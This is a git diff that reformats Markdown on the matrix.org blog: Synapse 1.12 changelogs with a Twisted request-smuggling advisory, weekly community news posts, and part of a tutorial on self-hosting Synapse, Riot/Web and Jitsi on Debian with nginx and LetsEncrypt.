+## Synapse 1.12.0 (2020-03-23) No significant changes since 1.12.0rc1. @@ -33,8 +31,7 @@ Debian packages and Docker images are rebuilt using the latest versions of dependency libraries, including Twisted 20.3.0. **Please see security advisory below**. -Security advisory ------------------ +### Security advisory Synapse may be vulnerable to request-smuggling attacks when it is used with a reverse-proxy. The vulnerabilities are fixed in Twisted 20.3.0, and are @@ -43,7 +40,7 @@ described in and [CVE-2020-10109](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10109). For a good introduction to this class of request-smuggling attacks, see -https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn. +. We are not aware of these vulnerabilities being exploited in the wild, and do not believe that they are exploitable with current versions of any reverse @@ -60,16 +57,17 @@ installation remains secure. * Administrators who have [installed Synapse from source](https://github.com/matrix-org/synapse/blob/master/INSTALL.md#installing-from-source) should upgrade Twisted within their virtualenv by running: + ```sh /bin/pip install 'Twisted>=20.3.0' ``` + * Administrators who have installed Synapse from distribution packages should consult the information from their distributions. The `matrix.org` Synapse instance was not vulnerable to these vulnerabilities. -Advance notice of change to the default `git` branch for Synapse ----------------------------------------------------------------- +### Advance notice of change to the default `git` branch for Synapse Currently, the default `git` branch for Synapse is `master`, which tracks the latest release. @@ -83,79 +81,68 @@ where regressions creep in. Developers and distributors who have scripts which run builds using the default branch of `Synapse` should therefore consider pinning their scripts to `master`. - -Synapse 1.12.0rc1 (2020-03-19) -============================== - -Features --------- - -- Changes related to room alias management ([MSC2432](https://github.com/matrix-org/matrix-doc/pull/2432)): - - Publishing/removing a room from the room directory now requires the user to have a power level capable of modifying the canonical alias, instead of the room aliases. ([\#6965](https://github.com/matrix-org/synapse/issues/6965)) - - Validate the `alt_aliases` property of canonical alias events. ([\#6971](https://github.com/matrix-org/synapse/issues/6971)) - - Users with a power level sufficient to modify the canonical alias of a room can now delete room aliases. ([\#6986](https://github.com/matrix-org/synapse/issues/6986)) - - Implement updated authorization rules and redaction rules for aliases events, from [MSC2261](https://github.com/matrix-org/matrix-doc/pull/2261) and [MSC2432](https://github.com/matrix-org/matrix-doc/pull/2432). ([\#7037](https://github.com/matrix-org/synapse/issues/7037)) - - Stop sending m.room.aliases events during room creation and upgrade. ([\#6941](https://github.com/matrix-org/synapse/issues/6941)) - - Synapse no longer uses room alias events to calculate room names for push notifications. ([\#6966](https://github.com/matrix-org/synapse/issues/6966)) - - The room list endpoint no longer returns a list of aliases. ([\#6970](https://github.com/matrix-org/synapse/issues/6970)) - - Remove special handling of aliases events from [MSC2260](https://github.com/matrix-org/matrix-doc/pull/2260) added in v1.10.0rc1. ([\#7034](https://github.com/matrix-org/synapse/issues/7034)) -- Expose the `synctl`, `hash_password` and `generate_config` commands in the snapcraft package. Contributed by @devec0. ([\#6315](https://github.com/matrix-org/synapse/issues/6315)) -- Check that server_name is correctly set before running database updates. ([\#6982](https://github.com/matrix-org/synapse/issues/6982)) -- Break down monthly active users by `appservice_id` and emit via Prometheus. ([\#7030](https://github.com/matrix-org/synapse/issues/7030)) -- Render a configurable and comprehensible error page if something goes wrong during the SAML2 authentication process. ([\#7058](https://github.com/matrix-org/synapse/issues/7058), [\#7067](https://github.com/matrix-org/synapse/issues/7067)) -- Add an optional parameter to control whether other sessions are logged out when a user's password is modified. ([\#7085](https://github.com/matrix-org/synapse/issues/7085)) -- Add prometheus metrics for the number of active pushers. ([\#7103](https://github.com/matrix-org/synapse/issues/7103), [\#7106](https://github.com/matrix-org/synapse/issues/7106)) -- Improve performance when making HTTPS requests to sygnal, sydent, etc, by sharing the SSL context object between connections. ([\#7094](https://github.com/matrix-org/synapse/issues/7094)) - - -Bugfixes --------- - -- When a user's profile is updated via the admin API, also generate a displayname/avatar update for that user in each room. ([\#6572](https://github.com/matrix-org/synapse/issues/6572)) -- Fix a couple of bugs in email configuration handling. ([\#6962](https://github.com/matrix-org/synapse/issues/6962)) -- Fix an issue affecting worker-based deployments where replication would stop working, necessitating a full restart, after joining a large room. ([\#6967](https://github.com/matrix-org/synapse/issues/6967)) -- Fix `duplicate key` error which was logged when rejoining a room over federation. ([\#6968](https://github.com/matrix-org/synapse/issues/6968)) -- Prevent user from setting 'deactivated' to anything other than a bool on the v2 PUT /users Admin API. ([\#6990](https://github.com/matrix-org/synapse/issues/6990)) -- Fix py35-old CI by using native tox package. ([\#7018](https://github.com/matrix-org/synapse/issues/7018)) -- Fix a bug causing `org.matrix.dummy_event` to be included in responses from `/sync`. ([\#7035](https://github.com/matrix-org/synapse/issues/7035)) -- Fix a bug that renders UTF-8 text files incorrectly when loaded from media. Contributed by @TheStranjer. ([\#7044](https://github.com/matrix-org/synapse/issues/7044)) -- Fix a bug that would cause Synapse to respond with an error about event visibility if a client tried to request the state of a room at a given token. ([\#7066](https://github.com/matrix-org/synapse/issues/7066)) -- Repair a data-corruption issue which was introduced in Synapse 1.10, and fixed in Synapse 1.11, and which could cause `/sync` to return with 404 errors about missing events and unknown rooms. ([\#7070](https://github.com/matrix-org/synapse/issues/7070)) -- Fix a bug causing account validity renewal emails to be sent even if the feature is turned off in some cases. ([\#7074](https://github.com/matrix-org/synapse/issues/7074)) - - -Improved Documentation ----------------------- - -- Updated CentOS8 install instructions. Contributed by Richard Kellner. ([\#6925](https://github.com/matrix-org/synapse/issues/6925)) -- Fix `POSTGRES_INITDB_ARGS` in the `contrib/docker/docker-compose.yml` example docker-compose configuration. ([\#6984](https://github.com/matrix-org/synapse/issues/6984)) -- Change date in [https://github.com/matrix-org/synapse/blob/master/INSTALL.md](./INSTALL.md#tls-certificates) for last date of getting TLS certificates to November 2019. ([\#7015](https://github.com/matrix-org/synapse/issues/7015)) -- Document that the fallback auth endpoints must be routed to the same worker node as the register endpoints. ([\#7048](https://github.com/matrix-org/synapse/issues/7048)) - - -Deprecations and Removals -------------------------- - -- Remove the unused query_auth federation endpoint per [MSC2451](https://github.com/matrix-org/matrix-doc/pull/2451). ([\#7026](https://github.com/matrix-org/synapse/issues/7026)) - - -Internal Changes ----------------- - -- Add type hints to `logging/context.py`. ([\#6309](https://github.com/matrix-org/synapse/issues/6309)) -- Add some clarifications to `README.md` in the database schema directory. ([\#6615](https://github.com/matrix-org/synapse/issues/6615)) -- Refactoring work in preparation for changing the event redaction algorithm. ([\#6874](https://github.com/matrix-org/synapse/issues/6874), [\#6875](https://github.com/matrix-org/synapse/issues/6875), [\#6983](https://github.com/matrix-org/synapse/issues/6983), [\#7003](https://github.com/matrix-org/synapse/issues/7003)) -- Improve performance of v2 state resolution for large rooms. ([\#6952](https://github.com/matrix-org/synapse/issues/6952), [\#7095](https://github.com/matrix-org/synapse/issues/7095)) -- Reduce time spent doing GC, by freezing objects on startup. ([\#6953](https://github.com/matrix-org/synapse/issues/6953)) -- Minor performance fixes to `get_auth_chain_ids`. ([\#6954](https://github.com/matrix-org/synapse/issues/6954)) -- Don't record remote cross-signing keys in the `devices` table. ([\#6956](https://github.com/matrix-org/synapse/issues/6956)) -- Use flake8-comprehensions to enforce good hygiene of list/set/dict comprehensions. ([\#6957](https://github.com/matrix-org/synapse/issues/6957)) -- Merge worker apps together. ([\#6964](https://github.com/matrix-org/synapse/issues/6964), [\#7002](https://github.com/matrix-org/synapse/issues/7002), [\#7055](https://github.com/matrix-org/synapse/issues/7055), [\#7104](https://github.com/matrix-org/synapse/issues/7104)) -- Remove redundant `store_room` call from `FederationHandler._process_received_pdu`. ([\#6979](https://github.com/matrix-org/synapse/issues/6979)) -- Update warning for incorrect database collation/ctype to include link to documentation. ([\#6985](https://github.com/matrix-org/synapse/issues/6985)) -- Add some type annotations to the database storage classes. ([\#6987](https://github.com/matrix-org/synapse/issues/6987)) -- Port `synapse.handlers.presence` to async/await. ([\#6991](https://github.com/matrix-org/synapse/issues/6991), [\#7019](https://github.com/matrix-org/synapse/issues/7019)) -- Add some type annotations to the federation base & client classes. ([\#6995](https://github.com/matrix-org/synapse/issues/6995)) -- Port `synapse.rest.keys` to async/await. ([\#7020](https://github.com/matrix-org/synapse/issues/7020)) -- Add a type check to `is_verified` when processing room keys. ([\#7045](https://github.com/matrix-org/synapse/issues/7045)) -- Add type annotations and comments to the auth handler. ([\#7063](https://github.com/matrix-org/synapse/issues/7063)) +## Synapse 1.12.0rc1 (2020-03-19) + +### Features + +* Changes related to room alias management ([MSC2432](https://github.com/matrix-org/matrix-doc/pull/2432)): + * Publishing/removing a room from the room directory now requires the user to have a power level capable of modifying the canonical alias, instead of the room aliases. ([\#6965](https://github.com/matrix-org/synapse/issues/6965)) + * Validate the `alt_aliases` property of canonical alias events. ([\#6971](https://github.com/matrix-org/synapse/issues/6971)) + * Users with a power level sufficient to modify the canonical alias of a room can now delete room aliases. ([\#6986](https://github.com/matrix-org/synapse/issues/6986)) + * Implement updated authorization rules and redaction rules for aliases events, from [MSC2261](https://github.com/matrix-org/matrix-doc/pull/2261) and [MSC2432](https://github.com/matrix-org/matrix-doc/pull/2432). ([\#7037](https://github.com/matrix-org/synapse/issues/7037)) + * Stop sending m.room.aliases events during room creation and upgrade. ([\#6941](https://github.com/matrix-org/synapse/issues/6941)) + * Synapse no longer uses room alias events to calculate room names for push notifications. ([\#6966](https://github.com/matrix-org/synapse/issues/6966)) + * The room list endpoint no longer returns a list of aliases. ([\#6970](https://github.com/matrix-org/synapse/issues/6970)) + * Remove special handling of aliases events from [MSC2260](https://github.com/matrix-org/matrix-doc/pull/2260) added in v1.10.0rc1. ([\#7034](https://github.com/matrix-org/synapse/issues/7034)) +* Expose the `synctl`, `hash_password` and `generate_config` commands in the snapcraft package. Contributed by @devec0. ([\#6315](https://github.com/matrix-org/synapse/issues/6315)) +* Check that server_name is correctly set before running database updates. ([\#6982](https://github.com/matrix-org/synapse/issues/6982)) +* Break down monthly active users by `appservice_id` and emit via Prometheus. ([\#7030](https://github.com/matrix-org/synapse/issues/7030)) +* Render a configurable and comprehensible error page if something goes wrong during the SAML2 authentication process. ([\#7058](https://github.com/matrix-org/synapse/issues/7058), [\#7067](https://github.com/matrix-org/synapse/issues/7067)) +* Add an optional parameter to control whether other sessions are logged out when a user's password is modified. ([\#7085](https://github.com/matrix-org/synapse/issues/7085)) +* Add prometheus metrics for the number of active pushers. ([\#7103](https://github.com/matrix-org/synapse/issues/7103), [\#7106](https://github.com/matrix-org/synapse/issues/7106)) +* Improve performance when making HTTPS requests to sygnal, sydent, etc, by sharing the SSL context object between connections. ([\#7094](https://github.com/matrix-org/synapse/issues/7094)) + +### Bugfixes + +* When a user's profile is updated via the admin API, also generate a displayname/avatar update for that user in each room. ([\#6572](https://github.com/matrix-org/synapse/issues/6572)) +* Fix a couple of bugs in email configuration handling. ([\#6962](https://github.com/matrix-org/synapse/issues/6962)) +* Fix an issue affecting worker-based deployments where replication would stop working, necessitating a full restart, after joining a large room. ([\#6967](https://github.com/matrix-org/synapse/issues/6967)) +* Fix `duplicate key` error which was logged when rejoining a room over federation. ([\#6968](https://github.com/matrix-org/synapse/issues/6968)) +* Prevent user from setting 'deactivated' to anything other than a bool on the v2 PUT /users Admin API. ([\#6990](https://github.com/matrix-org/synapse/issues/6990)) +* Fix py35-old CI by using native tox package. ([\#7018](https://github.com/matrix-org/synapse/issues/7018)) +* Fix a bug causing `org.matrix.dummy_event` to be included in responses from `/sync`. ([\#7035](https://github.com/matrix-org/synapse/issues/7035)) +* Fix a bug that renders UTF-8 text files incorrectly when loaded from media. Contributed by @TheStranjer. ([\#7044](https://github.com/matrix-org/synapse/issues/7044)) +* Fix a bug that would cause Synapse to respond with an error about event visibility if a client tried to request the state of a room at a given token. ([\#7066](https://github.com/matrix-org/synapse/issues/7066)) +* Repair a data-corruption issue which was introduced in Synapse 1.10, and fixed in Synapse 1.11, and which could cause `/sync` to return with 404 errors about missing events and unknown rooms. ([\#7070](https://github.com/matrix-org/synapse/issues/7070)) +* Fix a bug causing account validity renewal emails to be sent even if the feature is turned off in some cases. ([\#7074](https://github.com/matrix-org/synapse/issues/7074)) + +### Improved Documentation + +* Updated CentOS8 install instructions. Contributed by Richard Kellner. ([\#6925](https://github.com/matrix-org/synapse/issues/6925)) +* Fix `POSTGRES_INITDB_ARGS` in the `contrib/docker/docker-compose.yml` example docker-compose configuration. ([\#6984](https://github.com/matrix-org/synapse/issues/6984)) +* Change date in [https://github.com/matrix-org/synapse/blob/master/INSTALL.md](./INSTALL.md#tls-certificates) for last date of getting TLS certificates to November 2019. ([\#7015](https://github.com/matrix-org/synapse/issues/7015)) +* Document that the fallback auth endpoints must be routed to the same worker node as the register endpoints. ([\#7048](https://github.com/matrix-org/synapse/issues/7048)) + +### Deprecations and Removals + +* Remove the unused query_auth federation endpoint per [MSC2451](https://github.com/matrix-org/matrix-doc/pull/2451). ([\#7026](https://github.com/matrix-org/synapse/issues/7026)) + +### Internal Changes + +* Add type hints to `logging/context.py`. ([\#6309](https://github.com/matrix-org/synapse/issues/6309)) +* Add some clarifications to `README.md` in the database schema directory. ([\#6615](https://github.com/matrix-org/synapse/issues/6615)) +* Refactoring work in preparation for changing the event redaction algorithm. ([\#6874](https://github.com/matrix-org/synapse/issues/6874), [\#6875](https://github.com/matrix-org/synapse/issues/6875), [\#6983](https://github.com/matrix-org/synapse/issues/6983), [\#7003](https://github.com/matrix-org/synapse/issues/7003)) +* Improve performance of v2 state resolution for large rooms. ([\#6952](https://github.com/matrix-org/synapse/issues/6952), [\#7095](https://github.com/matrix-org/synapse/issues/7095)) +* Reduce time spent doing GC, by freezing objects on startup. ([\#6953](https://github.com/matrix-org/synapse/issues/6953)) +* Minor performance fixes to `get_auth_chain_ids`. ([\#6954](https://github.com/matrix-org/synapse/issues/6954)) +* Don't record remote cross-signing keys in the `devices` table. ([\#6956](https://github.com/matrix-org/synapse/issues/6956)) +* Use flake8-comprehensions to enforce good hygiene of list/set/dict comprehensions. ([\#6957](https://github.com/matrix-org/synapse/issues/6957)) +* Merge worker apps together. ([\#6964](https://github.com/matrix-org/synapse/issues/6964), [\#7002](https://github.com/matrix-org/synapse/issues/7002), [\#7055](https://github.com/matrix-org/synapse/issues/7055), [\#7104](https://github.com/matrix-org/synapse/issues/7104)) +* Remove redundant `store_room` call from `FederationHandler._process_received_pdu`. ([\#6979](https://github.com/matrix-org/synapse/issues/6979)) +* Update warning for incorrect database collation/ctype to include link to documentation. ([\#6985](https://github.com/matrix-org/synapse/issues/6985)) +* Add some type annotations to the database storage classes. ([\#6987](https://github.com/matrix-org/synapse/issues/6987)) +* Port `synapse.handlers.presence` to async/await. ([\#6991](https://github.com/matrix-org/synapse/issues/6991), [\#7019](https://github.com/matrix-org/synapse/issues/7019)) +* Add some type annotations to the federation base & client classes. ([\#6995](https://github.com/matrix-org/synapse/issues/6995)) +* Port `synapse.rest.keys` to async/await. ([\#7020](https://github.com/matrix-org/synapse/issues/7020)) +* Add a type check to `is_verified` when processing room keys. ([\#7045](https://github.com/matrix-org/synapse/issues/7045)) +* Add type annotations and comments to the auth handler. ([\#7063](https://github.com/matrix-org/synapse/issues/7063)) diff --git a/content/blog/2020/03/2020-03-27-this-week-in-matrix-2020-03-27.md b/content/blog/2020/03/2020-03-27-this-week-in-matrix-2020-03-27.md index 0e2b0c6ca..a5e8338c2 100644 --- a/content/blog/2020/03/2020-03-27-this-week-in-matrix-2020-03-27.md +++ b/content/blog/2020/03/2020-03-27-this-week-in-matrix-2020-03-27.md @@ -71,7 +71,7 @@ image = "https://matrix.org/blog/img/2020-03-27-4Ic7r-20200327_083605-maim.png" > We released [1.12.0](https://matrix.org/blog/2020/03/23/synapse-1-12-0-released) this week which contains some decent performance wins. Our theme for the moment is to continue working on performance, and the sharding project is starting to make some real progress. Hopefully we get onto breaking out event persistence next week. > -> Aside from that you'll see a lot of work to improve SSO support, in particular the ability for SSO and User Interactive Auth to work together is just around the corner. +> Aside from that you'll see a lot of work to improve SSO support, in particular the ability for SSO and User Interactive Auth to work together is just around the corner. > > Sorry for all the matrix.org slowness, we're doing everything we can! @@ -97,9 +97,9 @@ image = "https://matrix.org/blog/img/2020-03-27-4Ic7r-20200327_083605-maim.png" [andrewsh](https://matrix.to/#/@andrewsh:matrix.org) reported: > Debian backports for Buster will see updated synapse and Twisted around the weekend when packages migrate to testing - +> > Debian packages for synapse have been updated and now pull the patched version of Twisted with CVE-2020-10108, CVE-2020-10109 and other security vulnerabilities fixed - +> > the patched version of Twisted in Debian is 18.9.0-8, Ubuntu ships security fixes in 18.9.0-6ubuntu1; both include all necessary security fixes > 20.3.0 is currently in Debian experimental and hopefully will be uploaded to unstable by the end of the week @@ -134,7 +134,7 @@ Submitted [a PR](https://github.com/djmaze/synapse-purge/pull/8) that adds suppo [Oleg](https://matrix.to/#/@oleg:fiksel.info) offered: > * A simple client to send notifications from Icinga to a `[matrix]` room. -> * This is a rewrite of a Perl version (https://github.com/oleg-fiksel/matrix_icinga_notify). +> * This is a rewrite of a Perl version (). > * New and fancy notification template (thanks @micha:msqu.de !). > * Written in Go and uses mautrix-go (thanks @tulir:maunium.net !). > * Doesn't need any dependencies other than ca-certificates. @@ -199,9 +199,9 @@ Submitted [a PR](https://github.com/djmaze/synapse-purge/pull/8) that adds suppo [Slavi](https://matrix.to/#/@slavi:devture.com) announced: > [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy) can now optionally install the [Jitsi](https://jitsi.org/) video-conferencing platform and integrate it with riot-web. See our [Jitsi documentation page](https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/master/docs/configuring-playbook-jitsi.md) to get started. - +> > You need to tell the playbook to use the `:develop` riot-web though. The documentation page instructs people to do that (for now). - +> > I did a 4-person video conference the other day and all Jitsi components combined seemed to take some ~500MB of memory and quite a lot of CPU, while the call was ongoing. ## Dept of Bots 🤖 diff --git a/content/blog/2020/04/2020-04-02-synapse-1-12-2-released.md b/content/blog/2020/04/2020-04-02-synapse-1-12-2-released.md index 58f3e620d..a447274ec 100644 --- a/content/blog/2020/04/2020-04-02-synapse-1-12-2-released.md +++ b/content/blog/2020/04/2020-04-02-synapse-1-12-2-released.md @@ -11,34 +11,26 @@ A small patch release to fix regressions introduced in v1.11.0 and v1.12.0. Update 1.12.3 is a fast follow release from 1.12.2 -Get 1.12.3 (not 1.12.2) from [github](https://github.com/matrix-org/synapse/releases/tag/v1.12.3) or any of the sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. - +Get 1.12.3 (not 1.12.2) from [github](https://github.com/matrix-org/synapse/releases/tag/v1.12.3) or any of the sources mentioned at . Changelog since v1.12.0 -Synapse 1.12.3 (2020-04-03) -=========================== +## Synapse 1.12.3 (2020-04-03) - Remove the the pin to Pillow 7.0 which was introduced in Synapse 1.12.2, and correctly fix the issue with building the Debian packages. ([\#7212](https://github.com/matrix-org/synapse/issues/7212)) -Synapse 1.12.2 (2020-04-02) -=========================== +## Synapse 1.12.2 (2020-04-02) This release fixes [an issue](https://github.com/matrix-org/synapse/issues/7208) with building the debian packages. - -Synapse 1.12.1 (2020-04-02) -=========================== +## Synapse 1.12.1 (2020-04-02) No significant changes since 1.12.1rc1. +## Synapse 1.12.1rc1 (2020-03-31) -Synapse 1.12.1rc1 (2020-03-31) -============================== - -Bugfixes --------- +### Bugfixes - Fix starting workers when federation sending not split out. ([\#7133](https://github.com/matrix-org/synapse/issues/7133)). Introduced in v1.12.0. - Avoid importing `sqlite3` when using the postgres backend. Contributed by David Vo. ([\#7155](https://github.com/matrix-org/synapse/issues/7155)). Introduced in v1.12.0rc1. diff --git a/content/blog/2020/04/2020-04-03-this-week-in-matrix-2020-04-03.md b/content/blog/2020/04/2020-04-03-this-week-in-matrix-2020-04-03.md index 976d1976c..c29e4155e 100644 --- a/content/blog/2020/04/2020-04-03-this-week-in-matrix-2020-04-03.md +++ b/content/blog/2020/04/2020-04-03-this-week-in-matrix-2020-04-03.md @@ -186,7 +186,7 @@ Thanks [Tulir](https://matrix.to/#/@tulir:maunium.net) for relaying > > But we also started efforts on database migration from Realm to SQLDelight! > -> ### Develop Change log: +> ### Develop Change log > > Features ✨: > @@ -229,11 +229,11 @@ Thanks [Tulir](https://matrix.to/#/@tulir:maunium.net) for relaying > * New message bubble design > * Share content with FluffyChat > -> ### Changes: +> ### Changes > > * Use SnackBars instead of Toasts > -> ### Fixes: +> ### Fixes > > * Minor fixes in the SDK > @@ -259,7 +259,7 @@ Thanks [Tulir](https://matrix.to/#/@tulir:maunium.net) for relaying > [Mirage 0.4.3 was released today](https://github.com/mirukana/mirage/releases/tag/v0.4.3), AppImage and Flatpak included. > -> Some of the most notable changes: +> Some of the most notable changes: > > * **Redactions support**: individual or selected messages can now be removed from the context menu or using keyboard shortcuts > @@ -296,14 +296,14 @@ Thanks [Tulir](https://matrix.to/#/@tulir:maunium.net) for relaying > > * [ruma-api 0.15.0](https://github.com/ruma/ruma-api/releases/tag/ruma-api-0.15.0) > -> * This release contains a change that allows endpoint definitions to have an associated error type +> * This release contains a change that allows endpoint definitions to have an associated error type > > * [ruma-client-api 0.7.0](https://github.com/ruma/ruma-client-api/releases/tag/0.7.0) > -> * This release once again gets us closer to r0.6.0 compatibility +> * This release once again gets us closer to r0.6.0 compatibility > -> * We now use the standard libraries `Duration` type for a few things including the `/sync` request's `timeout` parameter -> * We now have an `Error` type that error responses from the homeserver will be deserialized into +> * We now use the standard libraries `Duration` type for a few things including the `/sync` request's `timeout` parameter +> * We now have an `Error` type that error responses from the homeserver will be deserialized into ### New PHP library @@ -317,12 +317,13 @@ Apparently the author has a need for Matrix-Moodle integration, sounds interesti > I've updated Matrix-PHP, now there's documentation in `README.md` on how to use the library. If anyone wants to use it/contribute, this should make the things easier. > -> There's no release yet though. But for now, the library is capable of: -> - creating users with on the servers where registration is disabled; -> - changing users passwords (by users themselves or by admins); -> - logging in to the server using `m.login.password` method; -> - sending text messages to rooms; -> - checking if a username is available for registration on a server (only for admins.) +> There's no release yet though. But for now, the library is capable of: +> +> * creating users with on the servers where registration is disabled; +> * changing users passwords (by users themselves or by admins); +> * logging in to the server using `m.login.password` method; +> * sending text messages to rooms; +> * checking if a username is available for registration on a server (only for admins.) ## Dept of Ops 🛠 @@ -415,4 +416,3 @@ Here we reveal, rank, and applaud the homeservers with the lowest ping, as measu See you next week, and be sure to stop by [#twim:matrix.org] with your updates! [#TWIM:matrix.org]: - diff --git a/content/blog/2020/04/2020-04-06-running-your-own-secure-communication-service-with-matrix-and-jitsi.md b/content/blog/2020/04/2020-04-06-running-your-own-secure-communication-service-with-matrix-and-jitsi.md index 0d00b25ed..61e6b0b31 100644 --- a/content/blog/2020/04/2020-04-06-running-your-own-secure-communication-service-with-matrix-and-jitsi.md +++ b/content/blog/2020/04/2020-04-06-running-your-own-secure-communication-service-with-matrix-and-jitsi.md @@ -51,30 +51,30 @@ If you want to follow along at home without listening to the video (and I can't ### Debian & DNS - * Take one fresh Debian 10 install. - * Point the DNS for your domain to it. You should use separate subdomains for the various services as a hygiene measure to make cross-site scripting attacks less effective. In this example, we set up DNS for: - * `dangerousdemos.net` (general website, and for hosting a .well-known path to advertise the Matrix service) - * `matrix.dangerousdemos.net` (Synapse) - * `riot.dangerousdemos.net` (Riot/Web) - * `jitsi.dangerousdemos.net` (Jitsi video conferencing) - * In practice, we used a `*.dangerousdemos.net` wildcard DNS record for the three subdomains in this instance. +* Take one fresh Debian 10 install. +* Point the DNS for your domain to it. You should use separate subdomains for the various services as a hygiene measure to make cross-site scripting attacks less effective. In this example, we set up DNS for: + * `dangerousdemos.net` (general website, and for hosting a .well-known path to advertise the Matrix service) + * `matrix.dangerousdemos.net` (Synapse) + * `riot.dangerousdemos.net` (Riot/Web) + * `jitsi.dangerousdemos.net` (Jitsi video conferencing) + * In practice, we used a `*.dangerousdemos.net` wildcard DNS record for the three subdomains in this instance. ### Nginx and LetsEncrypt - * Install nginx as a webserver: `apt-get update && apt -y install nginx` - * Go to `/etc/nginx/sites-enabled` and copy the vhost configuration block from the bottom of `default` to new files called `dangerousdemos.net`, `matrix.dangerousdemos.net`, and `riot.dangerousdemos.net`. We don't set up `jitsi.dangerousdemos.net` at this point as the jitsi installer handles it for us. - * Rename the `server_name` field in the new files to match the hostname of each host, and point `root` to an appropriate location per domain (e.g. `/var/www/dangerousdemos.net` for the main domain, or `/var/www/riot.dangerousdemos.net/riot` for riot) - * For the Synapse domain (`matrix.dangerousdemos.net` here), you should replace the contents of the `location` block with `proxy_pass http://localhost:8008;` - telling nginx to pass the traffic through to synapse, which listens by default for plaintext HTTP traffic on port 8008. (N.B. do **not** put a trailing slash on the URL here, otherwise nginx will mangle the forwarded URLs.) - * Enable TLS via LetsEncrypt on nginx, by: `apt install -y python3-certbot-nginx && certbot --nginx -d dangerousdemos.net -d riot.dangerousdemos.net -d matrix.dangerousdemos.net` (or whatever your domains are). - * You should be able to go to https://dangerousdemos.net at this point and see a page with valid HTTPS. +* Install nginx as a webserver: `apt-get update && apt -y install nginx` +* Go to `/etc/nginx/sites-enabled` and copy the vhost configuration block from the bottom of `default` to new files called `dangerousdemos.net`, `matrix.dangerousdemos.net`, and `riot.dangerousdemos.net`. We don't set up `jitsi.dangerousdemos.net` at this point as the jitsi installer handles it for us. + * Rename the `server_name` field in the new files to match the hostname of each host, and point `root` to an appropriate location per domain (e.g. `/var/www/dangerousdemos.net` for the main domain, or `/var/www/riot.dangerousdemos.net/riot` for riot) + * For the Synapse domain (`matrix.dangerousdemos.net` here), you should replace the contents of the `location` block with `proxy_pass http://localhost:8008;` - telling nginx to pass the traffic through to synapse, which listens by default for plaintext HTTP traffic on port 8008. (N.B. do **not** put a trailing slash on the URL here, otherwise nginx will mangle the forwarded URLs.) +* Enable TLS via LetsEncrypt on nginx, by: `apt install -y python3-certbot-nginx && certbot --nginx -d dangerousdemos.net -d riot.dangerousdemos.net -d matrix.dangerousdemos.net` (or whatever your domains are). +* You should be able to go to at this point and see a page with valid HTTPS. ### Synapse - * Then, install Synapse via Debian packages using the instructions at https://github.com/matrix-org/synapse/blob/master/INSTALL.md#debianubuntu (see below). If you're not on Debian, keep an eye out for all the other OSes we support too! - * You should specify the server name to be the domain you want in your matrix IDs - i.e. `dangerousdemos.net` in this example. - * Please report anonymous aggregate stats to us so we can gauge uptake and help justify funding for Matrix! +* Then, install Synapse via Debian packages using the instructions at (see below). If you're not on Debian, keep an eye out for all the other OSes we support too! + * You should specify the server name to be the domain you want in your matrix IDs - i.e. `dangerousdemos.net` in this example. + * Please report anonymous aggregate stats to us so we can gauge uptake and help justify funding for Matrix! -``` +```bash sudo apt install -y lsb-release wget apt-transport-https sudo wget -O /usr/share/keyrings/matrix-org-archive-keyring.gpg https://packages.matrix.org/debian/matrix-org-archive-keyring.gpg echo "deb [signed-by=/usr/share/keyrings/matrix-org-archive-keyring.gpg] https://packages.matrix.org/debian/ $(lsb_release -cs) main" | @@ -83,27 +83,28 @@ sudo apt update sudo apt install matrix-synapse-py3 ``` - * You should now be able to go to https://matrix.dangerousdemos.net and see a valid "It works! Synapse is running" page. - * Then, you should enable registration on your synapse by switching `enable_registration: true` in `/etc/matrix-synapse/homeserver.yaml` and restarting synapse via `systemctl restart matrix-synapse`. +* You should now be able to go to and see a valid "It works! Synapse is running" page. +* Then, you should enable registration on your synapse by switching `enable_registration: true` in `/etc/matrix-synapse/homeserver.yaml` and restarting synapse via `systemctl restart matrix-synapse`. - * Now you need to tell the rest of Matrix how to find your server. The easiest way to do this is to publish a file at https://dangerousdemos.net/.well-known/matrix/server which tells everyone the hostname and port where they can find the synapse for dangerousdemos.net - in this instance, it's `matrix.dangerousdemos.net:443`: +* Now you need to tell the rest of Matrix how to find your server. The easiest way to do this is to publish a file at which tells everyone the hostname and port where they can find the synapse for dangerousdemos.net - in this instance, it's `matrix.dangerousdemos.net:443`: -``` +```bash mkdir -p /var/www/dangerousdemos.net/.well-known/matrix cd /var/www/dangerousdemos.net/.well-known/matrix echo '{ "m.server": "matrix.dangerousdemos.net:443" }' > server ``` - * **Alternatively**, you could advertise the server via DNS, if you don't have write access to `/.well-known` on your main domain. However, to prove you are allowed to host the Matrix traffic for dangerousdemos.net, you would have to configure nginx to use the dangerousdemos.net TLS certificate for the matrix.dangerousdemos.net vhost (i.e. the "wrong" one), and in general we think that `/.well-known` is much easier to reason about. In this case you would advertise the server with an SRV record like this: -``` +* **Alternatively**, you could advertise the server via DNS, if you don't have write access to `/.well-known` on your main domain. However, to prove you are allowed to host the Matrix traffic for dangerousdemos.net, you would have to configure nginx to use the dangerousdemos.net TLS certificate for the matrix.dangerousdemos.net vhost (i.e. the "wrong" one), and in general we think that `/.well-known` is much easier to reason about. In this case you would advertise the server with an SRV record like this: + +```txt _matrix._tcp.dangerousdemos.net. 300 IN SRV 10 5 443 matrix.dangerousdemos.net. ``` ### Riot/Web - * Then, install Riot/Web. Grab the latest .tgz release from https://github.com/vector-im/riot-web/releases. You should check its GnuPG signature too: +* Then, install Riot/Web. Grab the latest .tgz release from . You should check its GnuPG signature too: -``` +```bash mkdir /var/www/riot.dangerousdemos.net cd /var/www/riot.dangerousdemos.net wget https://github.com/vector-im/riot-web/releases/download/v1.5.15/riot-v1.5.15.tar.gz @@ -133,37 +134,37 @@ cd riot cp config.sample.json config.json ``` - * You then tweak the `config.json` to change the `base_url` of the homeserver to be `https://matrix.dangerousdemos.net` (i.e. where to find the Client Server API for your server), and change the `server_name` to be `dangerousdemos.net` (i.e. the name of your server). - * You should then be able to go to https://riot.dangerousdemos.net, register for an account, sign in, and talk to the rest of Matrix! +* You then tweak the `config.json` to change the `base_url` of the homeserver to be `https://matrix.dangerousdemos.net` (i.e. where to find the Client Server API for your server), and change the `server_name` to be `dangerousdemos.net` (i.e. the name of your server). +* You should then be able to go to , register for an account, sign in, and talk to the rest of Matrix! ### Jitsi - * Finally, we install Jitsi so 